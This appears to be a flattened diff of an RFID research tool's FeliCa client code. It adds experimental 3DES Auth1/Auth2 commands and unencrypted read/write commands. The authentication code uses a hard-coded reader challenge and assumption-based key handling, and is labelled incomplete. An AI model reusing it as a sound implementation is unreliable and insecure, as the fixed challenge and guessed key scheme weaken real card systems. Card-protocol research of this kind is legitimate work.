if (!check_crc(CRC_FELICA, resp->data.asBytes + 2, len - 2)) { if (!check_crc(CRC_FELICA, resp->data.asBytes + 2, len - 2)) {
PrintAndLogEx(WARNING, "Wrong or no CRC bytes"); PrintAndLogEx(WARNING, "Wrong or no CRC bytes");
} }
@ -371,7 +424,7 @@ static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *dat
uint16_t numbits = 0; uint16_t numbits = 0;
clearCommandBuffer(); clearCommandBuffer();
if (verbose) { if (verbose) {
PrintAndLogEx(NORMAL, "Send Service Request Frame: %s", sprint_hex(data, datalen)); PrintAndLogEx(INFO, "Send raw command - Frame: %s", sprint_hex(data, datalen));
} }
SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen);
} }
@ -387,8 +440,12 @@ static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *dat
*/ */
static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_t dataPosition, uint8_t length) { static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_t dataPosition, uint8_t length) {
if (param_getlength(Cmd, paramCount) == length) { if (param_getlength(Cmd, paramCount) == length) {
param_gethex(Cmd, paramCount, data + dataPosition, length);
return true; if (param_gethex(Cmd, paramCount, data + dataPosition, length) == 1)
return false;
else
return true;
} else { } else {
PrintAndLogEx(ERR, "Param %s", Cmd); PrintAndLogEx(ERR, "Param %s", Cmd);
PrintAndLogEx(ERR, "Incorrect Parameter length! Param %i should be %i", paramCount, length); PrintAndLogEx(ERR, "Incorrect Parameter length! Param %i should be %i", paramCount, length);
@ -401,19 +458,24 @@ static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_
* @param rd_noCry_resp Response frame. * @param rd_noCry_resp Response frame.
*/ */
static void print_rd_noEncrpytion_response(felica_read_without_encryption_response_t *rd_noCry_resp) { static void print_rd_noEncrpytion_response(felica_read_without_encryption_response_t *rd_noCry_resp) {
if (rd_noCry_resp->status_flags.status_flag1[0] == 00 && rd_noCry_resp->status_flags.status_flag2[0] == 00) {
if (rd_noCry_resp->status_flags.status_flag1[0] == 00 &&
rd_noCry_resp->status_flags.status_flag2[0] == 00) {
char *temp = sprint_hex(rd_noCry_resp->block_data, sizeof(rd_noCry_resp->block_data)); char *temp = sprint_hex(rd_noCry_resp->block_data, sizeof(rd_noCry_resp->block_data));
char bl_data[256]; char bl_data[256];
strcpy(bl_data, temp); strncpy(bl_data, temp, sizeof(bl_data) - 1);
char bl_element_number[4]; char bl_element_number[4];
temp = sprint_hex(rd_noCry_resp->block_element_number, sizeof(rd_noCry_resp->block_element_number)); temp = sprint_hex(rd_noCry_resp->block_element_number, sizeof(rd_noCry_resp->block_element_number));
strcpy(bl_element_number, temp); strncpy(bl_element_number, temp, sizeof(bl_element_number) - 1);
PrintAndLogEx(NORMAL, "\t%s\t| %s ", bl_element_number, bl_data);
PrintAndLogEx(INFO, "\t%s\t| %s ", bl_element_number, bl_data);
} else { } else {
PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rd_noCry_resp->frame_response.IDm, sizeof(rd_noCry_resp->frame_response.IDm))); PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rd_noCry_resp->frame_response.IDm, sizeof(rd_noCry_resp->frame_response.IDm)));
PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1)));
PrintAndLogEx(NORMAL, "Status Flag2: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); PrintAndLogEx(SUCCESS, "Status Flag2: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1)));
} }
} }
@ -425,7 +487,7 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve
PacketResponseNG resp; PacketResponseNG resp;
if (datalen > 0) { if (datalen > 0) {
if (!waitCmdFelica(0, &resp, 1)) { if (!waitCmdFelica(0, &resp, 1)) {
PrintAndLogEx(ERR, "\nGot no Response from card"); PrintAndLogEx(ERR, "\nGot no response from card");
return PM3_ERFTRANS; return PM3_ERFTRANS;
} }
felica_request_service_response_t rqs_response; felica_request_service_response_t rqs_response;
@ -433,9 +495,9 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve
if (rqs_response.frame_response.IDm[0] != 0) { if (rqs_response.frame_response.IDm[0] != 0) {
PrintAndLogEx(SUCCESS, "\nGot Service Response:"); PrintAndLogEx(SUCCESS, "\nGot Service Response:");
PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rqs_response.frame_response.IDm, sizeof(rqs_response.frame_response.IDm))); PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rqs_response.frame_response.IDm, sizeof(rqs_response.frame_response.IDm)));
PrintAndLogEx(NORMAL, " -Node Number: %s", sprint_hex(rqs_response.node_number, sizeof(rqs_response.node_number))); PrintAndLogEx(SUCCESS, " -Node Number: %s", sprint_hex(rqs_response.node_number, sizeof(rqs_response.node_number)));
PrintAndLogEx(NORMAL, " -Node Key Version List: %s\n", sprint_hex(rqs_response.node_key_versions, sizeof(rqs_response.node_key_versions))); PrintAndLogEx(SUCCESS, " -Node Key Version List: %s\n", sprint_hex(rqs_response.node_key_versions, sizeof(rqs_response.node_key_versions)));
} }
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -455,7 +517,7 @@ int send_rd_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver
clear_and_send_command(flags, datalen, data, verbose); clear_and_send_command(flags, datalen, data, verbose);
PacketResponseNG resp; PacketResponseNG resp;
if (!waitCmdFelica(0, &resp, verbose)) { if (!waitCmdFelica(0, &resp, verbose)) {
PrintAndLogEx(ERR, "\nGot no Response from card"); PrintAndLogEx(ERR, "\nGot no response from card");
return PM3_ERFTRANS; return PM3_ERFTRANS;
} else { } else {
memcpy(rd_noCry_resp, (felica_read_without_encryption_response_t *)resp.data.asBytes, sizeof(felica_read_without_encryption_response_t)); memcpy(rd_noCry_resp, (felica_read_without_encryption_response_t *)resp.data.asBytes, sizeof(felica_read_without_encryption_response_t));
@ -475,7 +537,7 @@ static bool check_last_idm(uint8_t *data, uint16_t datalen) {
PrintAndLogEx(ERR, "No last known card! Use reader first or set a custom IDm!"); PrintAndLogEx(ERR, "No last known card! Use reader first or set a custom IDm!");
return 0; return 0;
} else { } else {
PrintAndLogEx(INFO, "Used last known IDm.", sprint_hex(data, datalen)); PrintAndLogEx(INFO, "Used last known IDm. %s", sprint_hex(data, datalen));
return 1; return 1;
} }
} }
@ -493,7 +555,7 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver
clear_and_send_command(flags, datalen, data, verbose); clear_and_send_command(flags, datalen, data, verbose);
PacketResponseNG resp; PacketResponseNG resp;
if (!waitCmdFelica(0, &resp, verbose)) { if (!waitCmdFelica(0, &resp, verbose)) {
PrintAndLogEx(ERR, "\nGot no Response from card"); PrintAndLogEx(ERR, "\nGot no response from card");
return PM3_ERFTRANS; return PM3_ERFTRANS;
} else { } else {
memcpy(wr_noCry_resp, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); memcpy(wr_noCry_resp, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t));
@ -501,6 +563,282 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver
} }
} }
/**
* Reverses the master secret. Example: AA AA AA AA AA AA AA BB to BB AA AA AA AA AA AA AA
* @param master_key the secret which order will be reversed.
* @param length in bytes of the master secret.
* @param reverse_master_key output in which the reversed secret is stored.
*/
static void reverse_3des_key(uint8_t *master_key, int length, uint8_t *reverse_master_key) {
for (int i = 0; i < length; i++) {
reverse_master_key[i] = master_key[(length - 1) - i];
}
};
/**
* Command parser for auth1
* @param Cmd input data of the user.
* @return client result code.
*/
static int CmdHFFelicaAuthentication1(const char *Cmd) {
if (strlen(Cmd) < 4) {
return usage_hf_felica_authentication1();
}
PrintAndLogEx(INFO, "INCOMPLETE / EXPERIMENTAL COMMAND!!!");
uint8_t data[PM3_CMD_DATA_SIZE];
bool custom_IDm = false;
strip_cmds(Cmd);
uint16_t datalen = 24; // Length (1), Command ID (1), IDm (8), Number of Area (1), Area Code List (2), Number of Service (1), Service Code List (2), M1c (8)
uint8_t paramCount = 0;
uint8_t flags = 0;
int i = 0;
while (Cmd[i] != '\0') {
if (Cmd[i] == '-') {
switch (tolower(Cmd[i + 1])) {
case 'h':
return usage_hf_felica_authentication1();
case 'i':
paramCount++;
custom_IDm = true;
if (!add_param(Cmd, paramCount, data, 2, 16)) {
return PM3_EINVARG;
}
paramCount++;
i += 16;
break;
default:
return usage_hf_felica_authentication1();
}
}
i++;
}
data[0] = int_to_hex(&datalen);
data[1] = 0x10; // Command ID
if (!custom_IDm && !check_last_idm(data, datalen)) {
return PM3_EINVARG;
}
// Number of Area (1), Area Code List (2), Number of Service (1), Service Code List (2), M1c (8)
uint8_t lengths[] = {2, 4, 2, 4};
uint8_t dataPositions[] = {10, 11, 13, 14};
for (i = 0; i < 4; i++) {
if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) {
paramCount++;
} else {
return PM3_EINVARG;
}
}
// READER CHALLENGE - (RANDOM To Encrypt = Rac)
unsigned char input[8];
input[0] = 0x1;
input[1] = 0x2;
input[2] = 0x3;
input[3] = 0x4;
input[4] = 0x5;
input[5] = 0x6;
input[6] = 0x7;
input[7] = 0x8;
PrintAndLogEx(INFO, "Reader challenge (unencrypted): %s", sprint_hex(input, 8));
unsigned char output[8];
// Create M1c Challenge with 3DES (3 Keys = 24, 2 Keys = 16)
uint8_t master_key[PM3_CMD_DATA_SIZE];
mbedtls_des3_context des3_ctx;
mbedtls_des3_init(&des3_ctx);
if (param_getlength(Cmd, paramCount) == 48) {
if (param_gethex(Cmd, paramCount, master_key, 48) == 1) {
PrintAndLogEx(ERR, "Failed param key");
return PM3_EINVARG;
}
mbedtls_des3_set3key_enc(&des3_ctx, master_key);
PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 24));
} else if (param_getlength(Cmd, paramCount) == 32) {
if (param_gethex(Cmd, paramCount, master_key, 32) == 1) {
PrintAndLogEx(ERR, "Failed param key");
return PM3_EINVARG;
}
// Assumption: Master secret split in half for Kac, Kbc
mbedtls_des3_set2key_enc(&des3_ctx, master_key);
PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 16));
} else {
PrintAndLogEx(ERR, "Invalid key length");
return PM3_EINVARG;
}
mbedtls_des3_crypt_ecb(&des3_ctx, input, output);
PrintAndLogEx(INFO, "3DES ENCRYPTED M1c: %s", sprint_hex(output, 8));
// Add M1c Challenge to frame
int frame_position = 16;
for (i = 0; i < 8; i++) {
data[frame_position++] = output[i];
}
AddCrc(data, datalen);
datalen += 2;
flags |= FELICA_APPEND_CRC;
flags |= FELICA_RAW;
PrintAndLogEx(INFO, "Client Send AUTH1 Frame: %s", sprint_hex(data, datalen));
clear_and_send_command(flags, datalen, data, 0);
PacketResponseNG resp;
if (!waitCmdFelica(0, &resp, 1)) {
PrintAndLogEx(ERR, "\nGot no Response from card");
return PM3_ERFTRANS;
} else {
felica_auth1_response_t auth1_response;
memcpy(&auth1_response, (felica_auth1_response_t *)resp.data.asBytes, sizeof(felica_auth1_response_t));
if (auth1_response.frame_response.IDm[0] != 0) {
PrintAndLogEx(SUCCESS, "\nGot auth1 response:");
PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(auth1_response.frame_response.IDm, sizeof(auth1_response.frame_response.IDm)));
PrintAndLogEx(SUCCESS, "M2C: %s", sprint_hex(auth1_response.m2c, sizeof(auth1_response.m2c)));
PrintAndLogEx(SUCCESS, "M3C: %s", sprint_hex(auth1_response.m3c, sizeof(auth1_response.m3c)));
// Assumption: Key swap method used
uint8_t reverse_master_key[PM3_CMD_DATA_SIZE];
reverse_3des_key(master_key, 16, reverse_master_key);
mbedtls_des3_set2key_dec(&des3_ctx, reverse_master_key);
bool isKeyCorrect = false;
unsigned char p2c[8];
mbedtls_des3_crypt_ecb(&des3_ctx, auth1_response.m2c, p2c);
for (i = 0; i < 8; i++) {
if (p2c[i] != input[i]) {
isKeyCorrect = false;
break;
} else {
isKeyCorrect = true;
}
}
if (isKeyCorrect) {
PrintAndLogEx(SUCCESS, "\nAuth1 done with correct key material! Use Auth2 now with M3C and same key");
} else {
PrintAndLogEx(INFO, "3DES secret (swapped decryption): %s", sprint_hex(reverse_master_key, 16));
PrintAndLogEx(INFO, "P2c: %s", sprint_hex(p2c, 8));
PrintAndLogEx(ERR, "Can't decrypt M2C with master secret (P1c != P2c)! Probably wrong keys or wrong decryption method");
}
}
}
return PM3_SUCCESS;
}
/**
* Command parser for auth2
* @param Cmd input data of the user.
* @return client result code.
*/
static int CmdHFFelicaAuthentication2(const char *Cmd) {
if (strlen(Cmd) < 2) {
return usage_hf_felica_authentication2();
}
PrintAndLogEx(INFO, "INCOMPLETE / EXPERIMENTAL COMMAND!!!");
PrintAndLogEx(INFO, "EXPERIMENTAL COMMAND - M2c/P2c will be not checked");
uint8_t data[PM3_CMD_DATA_SIZE];
bool custom_IDm = false;
strip_cmds(Cmd);
uint16_t datalen = 18; // Length (1), Command ID (1), IDm (8), M4c (8)
uint8_t paramCount = 0;
uint8_t flags = 0;
int i = 0;
while (Cmd[i] != '\0') {
if (Cmd[i] == '-') {
switch (tolower(Cmd[i + 1])) {
case 'h':
return usage_hf_felica_authentication2();
case 'i':
paramCount++;
custom_IDm = true;
if (!add_param(Cmd, paramCount, data, 2, 16)) {
return PM3_EINVARG;
}
paramCount++;
i += 16;
break;
default:
return usage_hf_felica_authentication1();
}
}
i++;
}
data[0] = int_to_hex(&datalen);
data[1] = 0x12; // Command ID
if (!custom_IDm && !check_last_idm(data, datalen)) {
return PM3_EINVARG;
}
// M3c (8)
unsigned char m3c[8];
if (add_param(Cmd, paramCount, m3c, 0, 16)) {
paramCount++;
} else {
return PM3_EINVARG;
}
// Create M4c challenge response with 3DES
uint8_t master_key[PM3_CMD_DATA_SIZE];
uint8_t reverse_master_key[PM3_CMD_DATA_SIZE];
mbedtls_des3_context des3_ctx;
mbedtls_des3_init(&des3_ctx);
unsigned char p3c[8];
if (param_getlength(Cmd, paramCount) == 32) {
if (param_gethex(Cmd, paramCount, master_key, 32) == 1) {
PrintAndLogEx(ERR, "Failed param key");
return PM3_EINVARG;
}
reverse_3des_key(master_key, 16, reverse_master_key);
mbedtls_des3_set2key_dec(&des3_ctx, reverse_master_key);
mbedtls_des3_set2key_enc(&des3_ctx, master_key);
// Assumption: Key swap method used for E2
PrintAndLogEx(INFO, "3DES Master Secret (encryption): %s", sprint_hex(master_key, 16));
PrintAndLogEx(INFO, "3DES Master Secret (decryption): %s", sprint_hex(reverse_master_key, 16));
} else {
PrintAndLogEx(ERR, "Invalid key length");
return PM3_EINVARG;
}
// Decrypt m3c with reverse_master_key
mbedtls_des3_crypt_ecb(&des3_ctx, m3c, p3c);
PrintAndLogEx(INFO, "3DES decrypted M3c = P3c: %s", sprint_hex(p3c, 8));
// Encrypt p3c with master_key
unsigned char m4c[8];
mbedtls_des3_crypt_ecb(&des3_ctx, p3c, m4c);
PrintAndLogEx(INFO, "3DES encrypted M4c: %s", sprint_hex(m4c, 8));
// Add M4c Challenge to frame
int frame_position = 10;
for (i = 0; i < 8; i++) {
data[frame_position++] = m4c[i];
}
AddCrc(data, datalen);
datalen += 2;
flags |= FELICA_APPEND_CRC;
flags |= FELICA_RAW;
PrintAndLogEx(INFO, "Client Send AUTH2 Frame: %s", sprint_hex(data, datalen));
clear_and_send_command(flags, datalen, data, 0);
PacketResponseNG resp;
if (!waitCmdFelica(0, &resp, 1)) {
PrintAndLogEx(ERR, "\nGot no Response from card");
return PM3_ERFTRANS;
} else {
felica_auth2_response_t auth2_response;
memcpy(&auth2_response, (felica_auth2_response_t *)resp.data.asBytes, sizeof(felica_auth2_response_t));
if (auth2_response.code[0] != 0x12) {
PrintAndLogEx(SUCCESS, "\nGot auth2 response:");
PrintAndLogEx(SUCCESS, "IDtc: %s", sprint_hex(auth2_response.IDtc, sizeof(auth2_response.IDtc)));
PrintAndLogEx(SUCCESS, "IDi (encrypted): %s", sprint_hex(auth2_response.IDi, sizeof(auth2_response.IDi)));
PrintAndLogEx(SUCCESS, "PMi (encrypted): %s", sprint_hex(auth2_response.PMi, sizeof(auth2_response.PMi)));
} else {
PrintAndLogEx(ERR, "\nGot wrong frame format.");
}
}
return PM3_SUCCESS;
}
/** /**
* Command parser for wrunencrypted. * Command parser for wrunencrypted.
* @param Cmd input data of the user. * @param Cmd input data of the user.
@ -518,8 +856,7 @@ static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) {
int i = 0; int i = 0;
while (Cmd[i] != '\0') { while (Cmd[i] != '\0') {
if (Cmd[i] == '-') { if (Cmd[i] == '-') {
switch (Cmd[i + 1]) { switch (tolower(Cmd[i + 1])) {
case 'H':
case 'h': case 'h':
return usage_hf_felica_write_without_encryption(); return usage_hf_felica_write_without_encryption();
case 'i': case 'i':
@ -545,7 +882,7 @@ static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) {
// Number of Service 2, Service Code List 4, Number of Block 2, Block List Element 4, Data 16 // Number of Service 2, Service Code List 4, Number of Block 2, Block List Element 4, Data 16
uint8_t lengths[] = {2, 4, 2, 4, 32}; uint8_t lengths[] = {2, 4, 2, 4, 32};
uint8_t dataPositions[] = {10, 11, 13, 14, 16}; uint8_t dataPositions[] = {10, 11, 13, 14, 16};
for (int i = 0; i < 5; i++) { for (i = 0; i < 5; i++) {
if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) {
paramCount++; paramCount++;
} else { } else {
@ -558,9 +895,9 @@ static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) {
datalen += 2; datalen += 2;
felica_status_response_t wr_noCry_resp; felica_status_response_t wr_noCry_resp;
if (send_wr_unencrypted(flags, datalen, data, 1, &wr_noCry_resp) == PM3_SUCCESS) { if (send_wr_unencrypted(flags, datalen, data, 1, &wr_noCry_resp) == PM3_SUCCESS) {
PrintAndLogEx(NORMAL, "\nIDm: %s", sprint_hex(wr_noCry_resp.frame_response.IDm, sizeof(wr_noCry_resp.frame_response.IDm))); PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(wr_noCry_resp.frame_response.IDm, sizeof(wr_noCry_resp.frame_response.IDm)));
PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(wr_noCry_resp.status_flags.status_flag1, sizeof(wr_noCry_resp.status_flags.status_flag1))); PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(wr_noCry_resp.status_flags.status_flag1, sizeof(wr_noCry_resp.status_flags.status_flag1)));
PrintAndLogEx(NORMAL, "Status Flag2: %s\n", sprint_hex(wr_noCry_resp.status_flags.status_flag2, sizeof(wr_noCry_resp.status_flags.status_flag2))); PrintAndLogEx(SUCCESS, "Status Flag2: %s\n", sprint_hex(wr_noCry_resp.status_flags.status_flag2, sizeof(wr_noCry_resp.status_flags.status_flag2)));
if (wr_noCry_resp.status_flags.status_flag1[0] == 0x00 && wr_noCry_resp.status_flags.status_flag2[0] == 0x00) { if (wr_noCry_resp.status_flags.status_flag1[0] == 0x00 && wr_noCry_resp.status_flags.status_flag2[0] == 0x00) {
PrintAndLogEx(SUCCESS, "Writing data successful!\n"); PrintAndLogEx(SUCCESS, "Writing data successful!\n");
} else { } else {
@ -589,8 +926,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) {
int i = 0; int i = 0;
while (Cmd[i] != '\0') { while (Cmd[i] != '\0') {
if (Cmd[i] == '-') { if (Cmd[i] == '-') {
switch (Cmd[i + 1]) { switch (tolower(Cmd[i + 1])) {
case 'H':
case 'h': case 'h':
return usage_hf_felica_read_without_encryption(); return usage_hf_felica_read_without_encryption();
case 'i': case 'i':
@ -628,7 +964,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) {
datalen += 1; datalen += 1;
lengths[3] = 6; lengths[3] = 6;
} }
for (int i = 0; i < 4; i++) { for (i = 0; i < 4; i++) {
if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) {
paramCount++; paramCount++;
} else { } else {
@ -643,8 +979,8 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) {
if (long_block_numbers) { if (long_block_numbers) {
last_block_number = 0xFFFF; last_block_number = 0xFFFF;
} }
PrintAndLogEx(NORMAL, "Block Element\t| Data "); PrintAndLogEx(INFO, "Block Nr.\t| Data ");
for (int i = 0x00; i < last_block_number; i++) { for (i = 0x00; i < last_block_number; i++) {
data[15] = i; data[15] = i;
AddCrc(data, datalen); AddCrc(data, datalen);
datalen += 2; datalen += 2;
@ -652,8 +988,6 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) {
if ((send_rd_unencrypted(flags, datalen, data, 0, &rd_noCry_resp) == PM3_SUCCESS)) { if ((send_rd_unencrypted(flags, datalen, data, 0, &rd_noCry_resp) == PM3_SUCCESS)) {
if (rd_noCry_resp.status_flags.status_flag1[0] == 00 && rd_noCry_resp.status_flags.status_flag2[0] == 00) { if (rd_noCry_resp.status_flags.status_flag1[0] == 00 && rd_noCry_resp.status_flags.status_flag2[0] == 00) {
print_rd_noEncrpytion_response(&rd_noCry_resp); print_rd_noEncrpytion_response(&rd_noCry_resp);
} else {
break;
} }
} else { } else {
break; break;
@ -665,7 +999,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) {
datalen += 2; datalen += 2;
felica_read_without_encryption_response_t rd_noCry_resp; felica_read_without_encryption_response_t rd_noCry_resp;
if (send_rd_unencrypted(flags, datalen, data, 1, &rd_noCry_resp) == PM3_SUCCESS) { if (send_rd_unencrypted(flags, datalen, data, 1, &rd_noCry_resp) == PM3_SUCCESS) {
PrintAndLogEx(NORMAL, "Block Element\t| Data "); PrintAndLogEx(INFO, "Block Nr.\t| Data ");
print_rd_noEncrpytion_response(&rd_noCry_resp); print_rd_noEncrpytion_response(&rd_noCry_resp);
} }
} }
@ -687,8 +1021,7 @@ static int CmdHFFelicaRequestResponse(const char *Cmd) {
int i = 0; int i = 0;
while (Cmd[i] != '\0') { while (Cmd[i] != '\0') {
if (Cmd[i] == '-') { if (Cmd[i] == '-') {
switch (Cmd[i + 1]) { switch (tolower(Cmd[i + 1])) {
case 'H':
case 'h': case 'h':
return usage_hf_felica_request_response(); return usage_hf_felica_request_response();
case 'i': case 'i':
@ -718,15 +1051,15 @@ static int CmdHFFelicaRequestResponse(const char *Cmd) {
clear_and_send_command(flags, datalen, data, 0); clear_and_send_command(flags, datalen, data, 0);
PacketResponseNG resp; PacketResponseNG resp;
if (!waitCmdFelica(0, &resp, 1)) { if (!waitCmdFelica(0, &resp, 1)) {
PrintAndLogEx(ERR, "\nGot no Response from card"); PrintAndLogEx(ERR, "\nGot no response from card");
return PM3_ERFTRANS; return PM3_ERFTRANS;
} else { } else {
felica_request_request_response_t rq_response; felica_request_request_response_t rq_response;
memcpy(&rq_response, (felica_request_request_response_t *)resp.data.asBytes, sizeof(felica_request_request_response_t)); memcpy(&rq_response, (felica_request_request_response_t *)resp.data.asBytes, sizeof(felica_request_request_response_t));
if (rq_response.frame_response.IDm[0] != 0) { if (rq_response.frame_response.IDm[0] != 0) {
PrintAndLogEx(SUCCESS, "\nGot Request Response:"); PrintAndLogEx(SUCCESS, "\nGot Request Response:");
PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rq_response.frame_response.IDm, sizeof(rq_response.frame_response.IDm))); PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rq_response.frame_response.IDm, sizeof(rq_response.frame_response.IDm)));
PrintAndLogEx(NORMAL, " -Mode: %s\n\n", sprint_hex(rq_response.mode, sizeof(rq_response.mode))); PrintAndLogEx(SUCCESS, " -Mode: %s\n\n", sprint_hex(rq_response.mode, sizeof(rq_response.mode)));
} }
} }
return PM3_SUCCESS; return PM3_SUCCESS;
@ -749,8 +1082,7 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) {
int i = 0; int i = 0;
while (Cmd[i] != '\0') { while (Cmd[i] != '\0') {
if (Cmd[i] == '-') { if (Cmd[i] == '-') {
switch (Cmd[i + 1]) { switch (tolower(Cmd[i + 1])) {
case 'H':
case 'h': case 'h':
return usage_hf_felica_request_specification_version(); return usage_hf_felica_request_specification_version();
case 'i': case 'i':
@ -793,24 +1125,25 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) {
clear_and_send_command(flags, datalen, data, 0); clear_and_send_command(flags, datalen, data, 0);
PacketResponseNG resp; PacketResponseNG resp;
if (!waitCmdFelica(0, &resp, 1)) { if (!waitCmdFelica(0, &resp, 1)) {
PrintAndLogEx(ERR, "\nGot no Response from card"); PrintAndLogEx(ERR, "\nGot no response from card");
return PM3_ERFTRANS; return PM3_ERFTRANS;
} else { } else {
felica_request_spec_response_t spec_response; felica_request_spec_response_t spec_response;
memcpy(&spec_response, (felica_request_spec_response_t *)resp.data.asBytes, sizeof(felica_request_spec_response_t)); memcpy(&spec_response, (felica_request_spec_response_t *)resp.data.asBytes, sizeof(felica_request_spec_response_t));
if (spec_response.frame_response.IDm[0] != 0) { if (spec_response.frame_response.IDm[0] != 0) {
PrintAndLogEx(SUCCESS, "\nGot Request Response:"); PrintAndLogEx(SUCCESS, "\nGot Request Response:");
PrintAndLogEx(NORMAL, "\nIDm: %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm))); PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm)));
PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(spec_response.status_flags.status_flag1, sizeof(spec_response.status_flags.status_flag1))); PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(spec_response.status_flags.status_flag1, sizeof(spec_response.status_flags.status_flag1)));
PrintAndLogEx(NORMAL, "Status Flag2: %s", sprint_hex(spec_response.status_flags.status_flag2, sizeof(spec_response.status_flags.status_flag2))); PrintAndLogEx(SUCCESS, "Status Flag2: %s", sprint_hex(spec_response.status_flags.status_flag2, sizeof(spec_response.status_flags.status_flag2)));
if (spec_response.status_flags.status_flag1[0] == 0x00) { if (spec_response.status_flags.status_flag1[0] == 0x00) {
PrintAndLogEx(NORMAL, "Format Version: %s", sprint_hex(spec_response.format_version, sizeof(spec_response.format_version))); PrintAndLogEx(SUCCESS, "Format Version: %s", sprint_hex(spec_response.format_version, sizeof(spec_response.format_version)));
PrintAndLogEx(NORMAL, "Basic Version: %s", sprint_hex(spec_response.basic_version, sizeof(spec_response.basic_version))); PrintAndLogEx(SUCCESS, "Basic Version: %s", sprint_hex(spec_response.basic_version, sizeof(spec_response.basic_version)));
PrintAndLogEx(NORMAL, "Number of Option: %s", sprint_hex(spec_response.number_of_option, sizeof(spec_response.number_of_option))); PrintAndLogEx(SUCCESS, "Number of Option: %s", sprint_hex(spec_response.number_of_option, sizeof(spec_response.number_of_option)));
if (spec_response.number_of_option[0] == 0x01) { if (spec_response.number_of_option[0] == 0x01) {
PrintAndLogEx(NORMAL, "Option Version List:"); PrintAndLogEx(SUCCESS, "Option Version List:");
for (uint8_t i = 0; i < spec_response.number_of_option[0]; i++) { for (i = 0; i < spec_response.number_of_option[0]; i++) {
PrintAndLogEx(NORMAL, " - %s", sprint_hex(spec_response.option_version_list + i * 2, sizeof(uint8_t) * 2)); PrintAndLogEx(SUCCESS, " - %s", sprint_hex(spec_response.option_version_list + i * 2, sizeof(uint8_t) * 2));
} }
} }
} }
@ -836,8 +1169,7 @@ static int CmdHFFelicaResetMode(const char *Cmd) {
int i = 0; int i = 0;
while (Cmd[i] != '\0') { while (Cmd[i] != '\0') {
if (Cmd[i] == '-') { if (Cmd[i] == '-') {
switch (Cmd[i + 1]) { switch (tolower(Cmd[i + 1])) {
case 'H':
case 'h': case 'h':
return usage_hf_felica_reset_mode(); return usage_hf_felica_reset_mode();
case 'i': case 'i':
@ -880,23 +1212,21 @@ static int CmdHFFelicaResetMode(const char *Cmd) {
clear_and_send_command(flags, datalen, data, 0); clear_and_send_command(flags, datalen, data, 0);
PacketResponseNG resp; PacketResponseNG resp;
if (!waitCmdFelica(0, &resp, 1)) { if (!waitCmdFelica(0, &resp, 1)) {
PrintAndLogEx(ERR, "\nGot no Response from card"); PrintAndLogEx(ERR, "\nGot no response from card");
return PM3_ERFTRANS; return PM3_ERFTRANS;
} else { } else {
felica_status_response_t reset_mode_response; felica_status_response_t reset_mode_response;
memcpy(&reset_mode_response, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); memcpy(&reset_mode_response, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t));
if (reset_mode_response.frame_response.IDm[0] != 0) { if (reset_mode_response.frame_response.IDm[0] != 0) {
PrintAndLogEx(SUCCESS, "\nGot Request Response:"); PrintAndLogEx(SUCCESS, "\nGot Request Response:");
